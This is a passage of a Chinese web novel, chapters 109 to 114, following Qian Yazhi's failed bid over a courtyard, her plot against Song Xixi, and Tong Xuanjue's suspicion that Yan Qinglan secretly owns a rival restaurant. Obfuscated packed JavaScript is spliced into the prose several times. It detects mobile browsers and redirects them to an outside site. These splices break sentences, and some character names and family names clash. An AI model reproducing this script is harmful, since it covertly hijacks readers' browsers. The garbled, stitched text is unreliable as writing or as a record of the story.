钱雅芝话锋一转,故作不经意地提起, “我这几日忙着给四丫头收拾院子,还以为她过几日就该回来了。刚听子晏说,四丫头似乎不愿回来,母亲,这是怎么回事?” 她故意避开了晏玥玥,只说是晏子晏告知她的。毕竟晏老夫人不喜欢玥玥。 然而,晏老夫人是何等人物? 在后宅争斗中摸爬滚打了一辈子,什么样的人心没见过? 钱雅芝这点小伎俩,又怎能瞒过她的眼睛? 晏老夫人心中冷哼一声,面上却换上了一副悲痛欲绝的神情。 她深深叹息一声,浑浊的双眼中竟泛起了泪花, “你是不知……那日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她顿了顿,又补充道: “就算皇上不说什么,可朝中那些御史言官,哪个是省油的灯? 第一百零九章 到时候,参上一本,说四妹妹不敬皇上,那可如何是好?” 晏芸清抬眸看向钱雅芝,脸上忧色更浓, “四妹妹年纪小,皇上或许不会与她计较。可若是牵连到父亲……” 晏芸清轻叹一声,摇了摇头,没有再说下去。晏芸清话未说完,便觉察出不妥,纤长的眼睫如受惊的小鹿般轻轻颤动,忙垂下头,不再言语。 钱雅芝的脸色“唰”地一下就变了。 她竟然把这茬给忘了! 晏清澜那死丫头,当初可不就是拿“身患顽疾,不宜回府”当幌子,这才让皇上赏了这么大一处府邸给她! 钱雅芝的指甲死死掐进掌心,几乎要掐出血来。 皇上本就因为苏府与周王韩承煜走得过近,对老爷心存芥蒂。若在这个节骨眼上,她再为了晏清澜回府的事惹恼了皇上…… 钱雅芝不敢继续往下想,那后果,她根本承担不起。 可就这么算了,钱雅芝又实在不甘心。 她深吸一口气,强迫自己冷静下来。 “可听雨轩……”钱雅芝的声音微微发颤,“里里外外,上上下下,我都已经让人收拾妥当了,该添置的物件,一件不少,全都置办齐了。” 她顿了顿,语气中带上了一丝不易察觉的委屈:“阿清总该回来住些时日吧?不然,我这番心血,岂不全都付诸东流?” 为了让听雨轩不输给庄若瑶的院子,她可是从自己的私库里拨了一大笔银子。 更别提,前些日子,为了讨好周王,她又狠心往澜王府送了一大笔银钱! 这些银子,可都是从她身上割下来的肉啊! 如今倒好,听雨轩刚收拾出来,那小**竟敢说不回来就不回来! 以为她的钱都是天上掉下来的? 钱雅芝越想越憋屈,只觉得胸口像是堵了一团棉花,压抑得她透不过气来。 偏偏这阵子,醉月楼的生意也大不如前,以往那些挥金如土的贵客们,一个个都像是人间蒸发了似的,许久不见踪影。 还不是都让碧霄楼给抢走了! 若是放在以前,她倒也不至于为了这点银子斤斤计较。 她钱雅芝若是孑然一身,单靠着醉月楼的进项,就够她挥霍几辈子! 偏偏她还得供养这一大家人。 其实,就算养着这一大家子,那些家底也够他们几代人挥金如土了。 但谁让苏府偏偏跟周王韩承煜绑在了一起呢? 要做大事,哪一步能少了银钱的打点? 钱雅芝暗自咬牙,如今她已是处处节俭。 或者说,在晏清澜的事情上,她必须得锱铢必较,能省则省! 可现在,她却因为晏清澜,又白白耗费了一大笔银子! 钱雅芝心疼得像是被人剜去了一块肉。 就算……就算听雨轩里摆着的那些个物件,许多都是看着光鲜,实际上不过是些不值钱的赝品。 就算是假货也是她掏钱买的! 再说,为了不让人看出端倪,她可是往里头放了不少真金白银的古董! 晏清澜倒好,一句“在外养病”就把她打发了? 钱雅芝这口气,怎么可能咽得下去? 与钱雅芝的焦躁不安形成鲜明对比的,是晏老夫人的气定神闲。 她微微抬眼,瞥了钱雅芝一眼,指尖不紧不慢地拨弄着手中的佛珠。 良久,就在钱雅芝快要沉不住气的时候,晏老夫人手上的动作忽然停了下来。 那张布满岁月痕迹的脸上,依旧是波澜不惊。 “多大点儿事,”晏老夫人缓缓开口,声音低沉而缓慢,“既是精心收拾出来的,空着也是浪费,不如就让芸芸搬过去住吧。” 她抬眼看向钱雅芝,眼神古井无波,仿佛只是在陈述一件再平常不过的小事。 “我记得,你先前不是总说,要把听雨轩留给芸芸的么?” “如今,听雨轩收拾妥当了,阿清又回不来,这只能说,是天意如此,芸芸才是这听雨轩真正的主人。” 晏老夫人说完,便不再看钱雅芝,只是微微闭上眼睛,似乎有些疲惫。 钱雅芝被这话堵得哑口无言,像吃了黄连一般,有苦说不出。 她做梦也没料到,搬起石头砸了自己的脚,晏老夫人竟会用她之前的话来反将她一军! 当初她之所以说要把听雨轩留给晏芸清,不过是为了讨老夫人欢心,随口说的场面话罢了。 如果她当真有这份心思,早就让人把听雨轩收拾出来了,又何必等到现在? 可如今,话已出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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钱雅芝原本是想来探探口风,确认晏清澜何时回府。 第一百一十章 她也好提前做好准备,给那个不知天高地厚的丫头一个教训。 可没想到,竟会在晏老夫人这里碰了一鼻子灰。 钱雅芝心里明白,晏清澜回府的事急不得,否则只会适得其反。 可平白无故地,她却把精心布置的听雨轩给搭了进去,这让钱雅芝如何能甘心? 这简直就是偷鸡不成蚀把米! 钱雅芝越想越觉得憋屈,只觉得胸口像是压了一块巨石,沉甸甸的,让她喘不过气来。 她实在不想继续留在暖阁里,面对晏老夫人和晏芸清那两张令人厌恶的脸。 于是,钱雅芝随口找了个借口,敷衍了几句,便匆匆告辞离去。 罢了罢了,为了老爷的前程,为了庄家的未来,她可以暂时放过晏清澜那个小**。 但是,宋溪溪那边…… 钱雅芝的眼中闪过一道狠厉的光芒。 是时候对宋溪溪那个贱婢动手了! 她必须尽快除掉这个心腹大患,以绝后患! 她绝不能让宋溪溪坏了她的大事! 她要趁着韩承煜还未注意到宋溪溪之前,先下手为强! 至于具体该如何动手…… 钱雅芝的嘴角勾起一抹阴险的冷笑,她心中已经有了周密的计划。暮色四合,华灯初上。 澜王府内,暖香氤氲。舒临风斜倚在软榻上,手中折扇有一搭没一搭地轻摇着,发出“啪嗒啪嗒”的细微声响,像是某种催人的鼓点。一双生来含情的桃花眼微微上挑,满是看戏的玩味,眼尾都快飞到天上去了。 “阿珏,你听说了吗?” 他刻意压低了声音,向童玄珏的方向凑近了些, “钱雅芝最近派人到处打听宋溪溪的行踪,跟做贼似的。” 话音未落,他先“啧啧”两声,摇了摇手中那把价值连城的扇子, “这女人,为了让晏玥玥当上皇后,胆子是越来越大了,宋溪溪也敢动,真不知道‘死’字怎么写。” 舒临风说到这儿,像是想起什么似的,用扇子敲了敲自己的脑袋, “她也不怕傅清霁和厉宗玉知道了,一人给她一剑。那场面,想想都刺激。” 童玄珏正提笔写着什么,浓密的睫毛低垂,遮住了眼底的情绪,仿佛外界的一切都与他无关。听到舒临风这番话,他压根懒得看一眼,只是加快了笔下的速度。 将写好的信笺仔细折叠,再从旁边的小炉上取过融化的火漆,小心地封缄。一系列动作行云流水,赏心悦目。做完这一切,童玄珏才缓缓起身,负手而立,冷淡地瞥了舒临风一眼。 “陆家势大,早就威胁到了皇权。宋溪溪活着,对很多人来说都是个麻烦。” 童玄珏的声音很轻,却带着一种不容置疑的寒意,像冬日里结了冰的湖面。 “想让她死的人,可不止钱雅芝一个。她啊,还排不上号。” 窗外,不知何时下起了雨,雨点噼里啪啦地打在芭蕉叶上,那声音,一声紧似一声,仿佛都敲在了人的心坎上,让人没来由地感到一阵阵烦躁。 “都说冬风瑟瑟,秋雨绵绵最是恼人,”舒临风像是没听出童玄珏话里的深意,只顾着感慨,“可这夏天的雨,也让人心里发毛啊。” 一直沉默的姚澜,手里把玩着一块玉珏,玉色温润,在烛光下泛着柔和的光泽,一看便知价值不菲。 他轻轻摩挲着玉珏的边缘,突然开口,语气中带着几分玩味。 “那也要看陆家有没有那个心思,要不要扶持个新后。” 他慢条斯理地说着,目光却在童玄珏和舒临风之间来回扫视。 “如今还没成亲的皇子,除了韩瑾,也就剩韩承煜了。” 姚澜顿了顿,话锋一转, “韩瑾年纪还小,至于韩承煜……” 他故意拉长了语调,似乎在斟酌用词。 “韩承煜配宋溪溪?怎么想的!” 舒临风“啪”地一声打开折扇,给自己扇了扇风,打断了姚澜的话。 他用扇柄轻轻点了点自己的太阳穴,转头看向姚澜, “我说姚澜,韩承煜是挖你家祖坟了?” 舒临风一脸的难以置信, “我平时也没见你对谁有这么大意见,怎么一提到韩承煜,你就跟变了个人似的?” 他摸了摸下巴,做出思考状, “难道说……韩承煜背地里得罪你了?” 姚澜只是淡淡地瞥了他一眼,眼神中带着一丝不易察觉的无奈。他没有回答舒临风的问题,而是转过头,看向童玄珏。 “阿珏,你这心可真够硬的。” 姚澜的语气中,带着三分调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019312|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侃,七分试探。 “宋溪溪那边你不管,晏清澜你也不管?” 他停顿了一下, “好歹钱雅芝挖空心思地想把女儿嫁给你,这份心意,我一个外人都快感动哭了。” 这话说得,讽刺意味十足。 舒临风一听,立刻来了精神。 他“唰”地一下收起折扇,用扇子遮住下半张脸,只露出一双滴溜溜转的眼睛, 另一只手则轻轻推了推童玄珏的胳膊。 “我说阿珏,这可是你自己送上门的机会,过了这村可就没这店了!” “要我说,庄家四姑娘那可是**挑一的美人,配你,绰绰有余!” 舒临风觉得自己真是为好友的终身大事操碎了心。 童玄珏的眼神瞬间冷了下来,凉凉地扫过这两个看热闹不嫌事大的损友。 绰绰有余? 他冷笑一声,在心里把舒临风从头到脚嫌弃了一遍。 他童玄珏,眼光还没差到那种地步。 除了那张脸,晏清澜还有什么地方能看? 他宁可一辈子打光棍,也不可能娶她。 舒临风压根没注意到童玄珏越来越黑的脸色,还沉浸在自己的“媒婆”大业中,甚至开始盘算起了未来的份子钱。 “阿珏,你再不说话,那就默认你同意了啊。” 他笑眯眯地看着童玄珏, “那我可得提前准备贺礼了。” 准备你个大头鬼! 童玄珏深吸一口气,强压下想要把舒临风扔出去的冲动。他手腕一翻,原本放在桌上的糕点,便如离弦之箭般,直奔舒临风的面门而去。 “我靠!童玄珏,你玩真的啊!” 舒临风一声怪叫,手忙脚乱地用扇子去挡。 只听“啪”的一声,糕点虽然被挡住了,但雪白的扇面上也沾上了星星点点的粉末,看起来狼狈不堪。 “你赔我扇子!”他心疼地看着自己的宝贝扇子,额角青筋直跳。 童玄珏冷冷地瞥了他一眼,眼底尽是不耐, “你再敢胡说八道,我就让尤戟把你家所有的扇子都烧成灰。” 这话可不是开玩笑。 以尤戟的性子,绝对干得出这种事。 舒临风气得牙痒痒,却又不敢再多说什么。 第一百一十一章 旁边的姚澜,慢条斯理地喝着茶,仿佛眼前的闹剧都与他无关。 一盏茶喝完,他将茶杯轻轻放在桌上,发出一声清脆的声响。 “阿珏,我听说钱雅芝打算在归朝宴上动手,你真准备什么都不管?” 他看向童玄珏,语气平静, “不管是宋溪溪还是晏清澜,总得有人护着吧?” 童玄珏的声音冷冽,带着一丝嘲讽, “她等不及了。” 他微微勾起唇角, “醉月楼现在就是个空壳子,她恨不得马上把醉月楼的厨子送进宫里,好给晏玥玥造势,哪还有时间等归朝宴?” 舒临风也收起了玩笑的心思, “可宋溪溪那边……” 他顿了顿, “钱雅芝恐怕是想一石二鸟,把晏清澜也一起解决了。” “钱雅芝这女人,真是……”舒临风摇了摇头,似乎找不到合适的词来形容,“蠢到家了。” “丈夫不疼,不敢找正主算账,倒把气全撒在自己女儿身上,也不知道怎么想的。” “晏清澜也是可怜,怎么就摊上这么个娘。” 童玄珏冷笑一声, “你看戏就看戏,别把自己绕进去了。” 他斜睨了舒临风一眼, “你当宋溪溪是泥捏的?晏清澜更不是钱雅芝能对付得了的。” “别说一个钱雅芝,就是十个,也伤不了晏清澜一根毫毛。” 童玄珏放下手中的茶杯,眼中闪过一道寒光, “晏清澜要是真想保宋溪溪,你以为钱雅芝能得手?” 他冷冷地补充了一句, “你与其担心宋溪溪,不如担心担心你自己。” 舒临风被怼得无话可说,摸了摸鼻子,不再言语。 看来童玄珏是铁了心要袖手旁观了。 本以为就算不为了别的,他也会稍微做点什么。 自己真是想太多了。 这人,冷心冷肺,指望他出手相助,还不如指望母猪上树。 舒临风在心里默默吐槽。 相比之下,姚澜就显得淡定多了。 他慢悠悠地又给自己倒了一杯茶,轻轻吹了吹上面的浮沫。 “阿珏,我可是把身家性命都托付给你了,” 他抬眼看向童玄珏, “这次归朝宴,我可不想见到醉月楼的菜。” 他笑了笑,补充道, “你也知道,我这人嘴刁,万一吃坏了肚子,可就麻烦了。” 童玄珏淡淡地瞥了他一眼,没有说话。 倒是舒临风,一脸嫌弃地看着他, “你这么挑剔,还能活到现在,真是个奇迹。” 他上下打量了姚澜一番, “真不知道姚丞相和姚夫人是怎么忍受你的。” 姚澜直接无视了舒临风,转过身去,用后背对着他,眼不见为净。 他确实挑食,而且随着年纪增长,越来越挑剔。 但没办法,天生的,改不了。 好在京城里还有个碧霄楼,能让他勉强填饱肚子。 “碧霄楼?”童玄珏终于开口,“你想让碧霄楼的菜出现在归朝宴上,也得看人家东家愿不愿意。” 姚澜不以为意地笑了笑,挑眉看向他, “这还不简单?” 他语气笃定, “只要你江大公子出马,碧霄楼的东家还能不给面子?”夜色如墨,更深露重。 浮萍居内,烛火摇曳。 晏清澜抬手,轻轻拨动灯芯,火光映在她脸上,衬得她眉目间愈发沉静。 “桂柔?”她抬眸,望向面前一身红衣的女子,声音很轻,“可是苏府那边有什么动静?” 钱雅芝要对宋溪溪下手的事,她早已知晓。甚至连钱雅芝计划何时动手,她都一清二楚。若非计划生变,桂柔绝不会此刻前来。 桂柔摇头,抱拳,平日里英姿飒爽的脸上,此刻却少见地凝重:“主子,并非苏府。” “是碧霄楼,”她顿了顿,似乎在斟酌言辞,“今夜,澜王府的人来了消息,说是……要见您。” 澜王府?童玄珏? 晏清澜眉梢微不可察地动了动。 这个时候,他要见自己? 虽然心中疑惑,但晏清澜面上仍旧波澜不惊。她只是静静凝视着跳动的火苗,让人看不透她在想什么。 “知道了,我亲自走一趟。”良久,她才缓缓开口,语气依旧是不疾不徐。 桂柔眼中闪过一抹担忧,欲言又止。最终,她只是郑重地抱拳:“主子,万事小心。” 晏清澜轻轻颔首,算是回应。 她抬眼,与桂柔目光相接。很多时候,她们之间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019313|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无需多言,一个眼神便已足够。 桂柔了然,悄无声息地退了出去。 - 与此同时,澜王府,书房内。 “我说,这都什么时辰了?那位碧霄楼的东家怎么还没个影儿?”舒临风大喇喇地打了个哈欠,边说边斜眼看向端坐在书案后的童玄珏。 “难不成,他真敢放你鸽子?”舒临风猛地一拍大腿,像是发现了什么新大陆似的,眼睛都瞪圆了,“这可真是太阳打西边出来了!在汴京,竟然还有人敢放咱们燕王殿下的鸽子?” 童玄珏冷冷地瞥了他一眼,开口时,声音里没有一丝温度:“你若再不走,只怕他今晚都不会出现了。” 他将目光转向一旁品茶的姚澜,声音冷得像是裹了层冰碴子:“还愣着做什么?把他弄走。” 舒临风纵然有千般不愿,万般不甘,也还是被姚澜给“请”出了书房。 “童玄珏,你给我等着!”临走,舒临风还不忘回头,冲着童玄珏的背影做了个鬼脸,恨恨地撂下一句话,“小心以后娶不到媳妇!” 屋内,童玄珏恍若未闻。他慢条斯理地斟上一杯茶,动作优雅而从容。 几乎就在同时,一道身影出现在他对面。 “殿下深夜相邀,却连面都不露……”来人正是晏清澜,此刻的她,已然换了一身装扮。 晏清澜端起茶盏,目光却在童玄珏面上打了个转,语气中带着一丝玩味:“这样的待客之道,似乎与您的身份不太相符。” 童玄珏隔着面具,神色未变,只是眉梢微微一挑。 他端起茶杯,轻抿一口,看似在品茶,实则暗中打量着眼前这位年轻的“公子”。 ——这身形,这气度……总觉得在哪里见过。 可分明,他并非第一次与碧霄楼的东家打交道。 从前,也从未有过这种感觉。 难道是自己多心了? 童玄珏放下茶盏,眼神示意了一下对面空着的位子,直截了当地开口:“归朝宴,本王要你阻止醉月楼。” 他从不喜欢拐弯抹角。 晏清澜也不客气,在他对面坐了下来,身子微微后仰,靠在椅背上。她挑眉,语气中带着一丝漫不经心:“哦?殿下这话从何说起?我又为何要听您的?” 童玄珏唇角勾起一抹冷笑:“即便本王不说,难道你不是这么想的? 第一百一十二章 ” 他停顿一下,似乎在看晏清澜如何反应,然后一字一句道:“醉月楼如今是什么境况,你比谁都清楚。你会眼睁睁看着他们拿下宫宴这块肥肉?” 晏清澜在心里暗自撇了撇嘴。 这话说的,好像是她故意针对醉月楼似的。 天地良心,她可从没想过要打压谁。 同行之间,各凭本事,公平竞争。 醉月楼落到今天这步田地,只能怪钱雅芝自己技不如人。 怎么到了童玄珏这里,就成了她恶意竞争了? 这口黑锅,她可不背。 “殿下这话,小可不敢苟同。”晏清澜轻笑出声,声音低沉而富有磁性,在这静谧的夜里,莫名地带了几分蛊惑人心的味道,“‘打压’二字,实在无从谈起。” 她微微摊手,脸上露出一副事不关己的表情,似乎对归朝宴一事毫不在意:“醉月楼若是想要,只管拿去。能不能拿到手,就看他们的本事了。” 童玄珏冷眼看着她。这人,还真是一只成了精的狐狸。 明明早已盯上了归朝宴,却偏偏要在他面前装作一副若无其事的样子。 偏偏,还装得有模有样! 他没有接话,只是静静地看着晏清澜,眼神深邃而锐利。 晏清澜亦不甘示弱,回以似笑非笑的眼神。 两人无声地对峙,目光在空中交汇,仿佛有无形的火花在迸射。 时间一点一滴地流逝。窗外,雨不知何时停了。 屋内,檀香早已燃尽,只留下一缕淡淡的余香。 不知过了多久,童玄珏终于开口,语气中听不出喜怒:“说吧,你到底想要什么?” 他算是看明白了,跟这只小狐狸绕圈子,纯粹是浪费时间。 晏清澜等的就是这句话。她唇角微扬,露出一抹意味深长的笑容。 “眼下么,倒也确实没什么需要殿下帮忙的。”她十指交叉,抵在下巴上,语气依旧是不疾不徐。 她故意顿了顿,卖了个关子,随即话锋一转:“不过,来日方长。今日我卖殿下一个面子,他日若有需要,还望殿下也能施以援手。” 童玄珏在心中冷笑。 说得好听! 这哪里是没想好,分明是待价而沽! 眼下她什么都不缺,自然看不上寻常的恩惠。 “你的野心,倒是不小。”童玄珏毫不留情地评价道,语气中带着一丝嘲讽。 晏清澜不置可否,脸上的笑容却愈发深邃:“殿下谬赞了。比起您,我这点心思,不过是小巫见大巫罢了。” 她所求的,无非是自保而已。 “殿下这茶,味道还算过得去,但总觉得差了点意思。”晏清澜端起茶杯,轻轻地抿了一口,语气淡淡的。 “前些日子,恰好有人送了我一罐上好的新茶,不如改日,让人给殿下送些来?” 童玄珏看着她,眼神微冷,语气中透着不容置疑:“不必改日了。你若真有心,现在就让人送来。” 晏清澜闻言,不由得轻笑出声。 她自然听出了童玄珏的言外之意。 这是在警告她,别在他面前耍花招。 有话直说,少来那些虚的。“慢工出细活,心急吃不了热豆腐。”晏清澜纤指轻叩桌面,不紧不慢,柳眉微挑。 童玄珏未置可否,只觉一股熟悉感扑面而来。 这人…… 并非眉眼相似,而是那气定神闲,又带着三分算计的模样,让他瞬间联想到了某人。 如出一辙。 一番唇枪舌剑,你来我往,合作终是达成。 晏清澜如愿以偿,拿下了宫宴膳食的供应。 作为交换,碧霄楼的精致吃食,将源源不断地送入澜王府。 当然,只是省去了排队等候的烦扰,真金白银,分毫不少。 童玄珏这边,也得到了一个承诺。 只是这个人情,晏清澜打算待价而沽。 看着晏清澜离去的背影,童玄珏冷冷开口: “戏也看够了,还不出来?” 屏风后,舒临风和姚澜并肩走出。 “这碧霄楼的东家,可真有意思。”舒临风折扇轻摇,语气中带着几分玩味,“我还是头一次见到,有人在阿珏你面前,还能这般……自在。” 童玄珏只作不理。 自在? 他眯起眼。 若论谁最“自在”,莫过于眼前这位。 还有晏清澜。 他瞥向舒临风,“你去盯着他。” “是去是留,总要有个交代。” 舒临风脸上的笑容一滞。 他怎么觉得,自己好像搬起石头砸了自己的脚? 但他还是应了下来,收起了折扇,转身离去。 姚澜看着童玄珏,目光沉沉。 “阿珏,你是不是……看出了什么?” 童玄珏摩挲着茶杯,并不急着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“查查她近日的行踪,越详细越好。” “晏清澜?”舒临风一愣,随即反应过来,“你是说,今晚和你谈生意的那位?” 他摇了摇折扇,一脸的难以置信。 “这不可能!”他连连摆手,“我可是亲眼瞧见的,他和庄家四姑娘,可差着十万八千里呢! 第一百一十三章 ” “身形,相貌,都不一样。” “再说了,晏四姑娘可是个娇滴滴的闺阁女子……” 他话音未落,就见童玄珏和姚澜都用一种看傻子的眼神看着他。 “谁跟你说,闺阁女子就不能……”姚澜摇了摇头,没把话说完。 他觉得跟舒临风解释这些,纯属浪费口舌。 他转头看向童玄珏,问道: “你怀疑,是她?” 童玄珏扯了扯嘴角,笑容中带着一丝冷冽。 “像。” “那股子劲儿,像极了。” 姚澜和舒临风一时无言。 “就算真是她,你这样查,也未必能查出什么。” 姚澜提醒道。 “若她真有心隐瞒,自然会做好万全的准备。” 童玄珏挑眉,目光落在那摇曳的烛火上,面具下的脸庞,浮现出一抹意味深长的笑意。 “查不出,才说明有问题。” “无懈可击的假象,往往最是可疑。”晨曦微露,舒临风一脚踏进童玄珏的院落,另一只手还习惯性地拈着把折扇,只是那张俊脸上明晃晃挂着一对黑眼圈,脚步也有些虚浮。 “阿珏,你可真是……” 他夸张地做了个揖,一屁股跌坐在石凳上,有气无力地哼哼, “料事如神不敢当,跑断腿倒是真的。” “人我给你找了,也查了底掉。” “昨晚上,晏清澜确实出了门。” 童玄珏正端着茶盏,小口啜饮。闻言,眼皮微抬,深邃的眼眸中闪过一丝不易察觉的玩味。 “哦?” 他将茶盏搁到几上,语气不咸不淡。 舒临风这没精打采的样子,一看就是有下文。 果然,舒临风没精打采地“啪”一声打开折扇,有一搭没一搭地扇着, “还能去哪儿?跟她那个贴身丫鬟咬耳朵,两人凑一块叽叽咕咕半天。” “然后呢,去了趟药铺,说是……买药治肚子疼。” 舒临风说着,指了指自己的肚子,眉头都快拧成一个疙瘩了。 “她出门那会儿,你正跟碧霄楼那只狐狸精斗智斗勇,压根儿碰不上面。” 他摊开双手,耸了耸肩。 “王爷,您这回怕是真猜错了,碧霄楼跟她晏清澜,八竿子打不着。” 舒临风顿了顿,眼巴巴地看着童玄珏。 “这下,您总该信了吧?” 出乎他意料的是,童玄珏并未露出丝毫惊讶或懊恼,反而轻轻挑了挑眉,唇角勾起一抹若有似无的笑。 “治肚子疼……” 他低声重复,尾音微微上扬,似在玩味。 “有意思。” 舒临风一口气差点没上来。 “我说童玄珏,你不会还怀疑她吧?” 他猛灌了几口茶,试图让自己清醒些, “人家一个大家闺秀,买个药的功夫还能整出什么幺蛾子?” “再说了,这事儿跟碧霄楼也扯不上关系啊!” 童玄珏没有正面回答,只是目光幽深地看向庭院中盛开的不知名花朵,深褐色的瞳孔中闪烁着让人捉摸不透的光芒。 “谁知道呢……” 他淡淡地回应,语气中带着一丝漫不经心, “越是瞧着没问题,有时候,越容易让人多想。” …… 浮萍居内,午后的阳光被窗棂切割成细碎的光束,在地上留下斑驳的光影。 晏清澜做完礼佛的功课,起身走到窗边,目光落在窗外几盆精心照料的绿萝上。 微风拂过,那些舒展的枝叶轻轻摇曳,如同低语。 “主子当真算无遗策,”桂柔不知何时站在了她身后,微微躬身,压低了声音说道,“澜王府的人,果然开始行动了。” “今早,属下察觉到有人在暗中盯梢,还去查了您昨晚的行踪。” 晏清澜对此并不意外,她甚至连眼神都没变一下,只是伸手轻轻抚过一片绿萝的叶子,感受着指尖传来的细腻触感。 “童玄珏这人,心思比狐狸还多几窍,” 她轻声说道,语气中带着一丝淡淡的笑意,似乎早已洞悉了一切, “他要是不起疑,那才叫奇怪。” 早在离开碧霄楼之前,晏清澜便已经预料到了童玄珏可能会有的反应。 毕竟,那可是一位出了名难缠的主儿。 她让桂柔和夏竹演戏,让桂柔易容成她的模样出府,本就是为了迷惑童玄珏,让他以为自己另有安排。 其实,她大可以什么都不做,只让桂柔扮成她早早歇息。 只是那样一来,未免太过刻意,反倒容易露出马脚。 在童玄珏面前,她小心翼翼地维护着那张面具,生怕一不小心就被他看穿。 她并非惧怕身份暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“没什么,只是在想,什么时候能出去走走。” 夏竹闻言,眼睛一亮, “姑娘可是觉得闷了?奴婢听说,两位小姐花枝招展地,今儿个回京呢! 第一百一十四章 ” “要不,咱们去城门口迎迎?” 晏清澜微微扬眉。 赵芊芊一行人终于露面了? 她唇角勾起一抹意味深长的笑: “也好,出去散散心,顺便……看看热闹。” 夏竹兴高采烈地应了一声,转身从妆奁里挑出一支精致的步摇,小心翼翼地替晏清澜戴上。 汴京城繁华热闹,远非临川可比。街上人来人往,摩肩接踵,各种叫卖声不绝于耳。 晏清澜本无意去寻赵芊芊她们,只是想趁机出来逛逛,感受一下这京城的风土人情。 走着走着,她被一阵诱人的香气吸引。 路边的小摊上,正卖着一串串红艳艳的糖葫芦,除了常见的山楂口味,还有用新鲜葡萄制成的,一颗颗晶莹剔透,饱满圆润,让人一看就忍不住想咬上一口。 夏竹眼巴巴地望着那些糖葫芦,喉咙动了动,口水都快流下来了。 晏清澜见状,笑着摇了摇头,眼中闪过一丝宠溺。 她从荷包里取出几枚铜板,走到小贩面前,正要开口,却被一个声音打断。 “晏清澜,你又在胡闹什么?!” 晏景文不知从哪里冒了出来,板着一张脸,眉头紧锁,一副恨铁不成钢的模样。 他先是狠狠地瞪了晏清澜一眼,又将目光转向夏竹,厉声训斥: “你这丫头,怎么伺候主子的?想吃糖葫芦,自己买去!哪有让主子给你买东西的道理?” 夏竹脸上的笑容瞬间僵住,拿着糖葫芦的手也僵在了半空,心里像吞了苍蝇一样难受。 她真是出门没看黄历,怎么就碰上了这么个扫把星? 好端端的心情,全都被晏景文这个家伙给搅和了! 晏清澜冷冷地看着晏景文,心中一阵厌烦,却并未发作。 她只是缓缓地走到小贩面前,将手中的铜板递了过去,语气平静地说道: “大娘,这两种糖葫芦,每样给我来两串。” 小贩接过铜板,笑眯眯地应了一声,麻利地包好糖葫芦,递给晏清澜。 晏清澜接过糖葫芦,却没有递给夏竹,而是转身看着晏景文,淡淡地说道: “哥哥教训的是,我不该给丫鬟买东西。” 她顿了顿,语气一转, “不过,既然哥哥觉得我不配给丫鬟买东西,那这糖葫芦,我也不配吃了。” 说完,她竟然直接将手中的糖葫芦扔进了路边的垃圾桶里。 “你!”晏景文被她这突如其来的举动惊呆了,指着她,气得说不出话来。 “你……你真是不可理喻!” 晏清澜却理都不理他,转身带着夏竹离开了。 只留下晏景文一个人,在原地气得跳脚。“这位姑娘,实在是对不住了。” 夏竹飞快地抬眼,小心翼翼地看了看晏清澜,又立刻垂下眼帘,细声细气地说着,那模样,活脱脱一个受气包。 “我家姑娘心善,平日里最是体恤我们这些做下人的。尾随美女离开,我向来是不带银钱的,今儿个也是一样……” 夏竹的声音越来越小,她轻轻咬了咬嘴唇,像是有些难为情,却还是鼓足了勇气,接着说道: “要不是这位公子……咳,提醒,我们竟不知,这汴京城的规矩竟是这般森严,做主子的,连给自家丫鬟买个零嘴儿都不成。” 夏竹的声音里带上了一丝几不可闻的委屈,像是强忍着没哭出来。 “实在是对不住您,您这糖葫芦瞧着就甜,只是我今儿个出门,实在没带银子,改天再来购买吧。” 晏清澜微微侧过脸,避开了身旁那道让她心烦的视线,轻轻叹了口气,像是无奈,又像是惋惜。 主仆二人,一个低眉顺眼,一个欲言又止,把戏做足了。 话里话外的意思再明白不过:我们可不是不想买,是那个不识趣的家伙多管闲事,坏了咱们的好事! 卖糖葫芦的大娘可不乐意了,到手的银子,哪有再吐出去的道理? 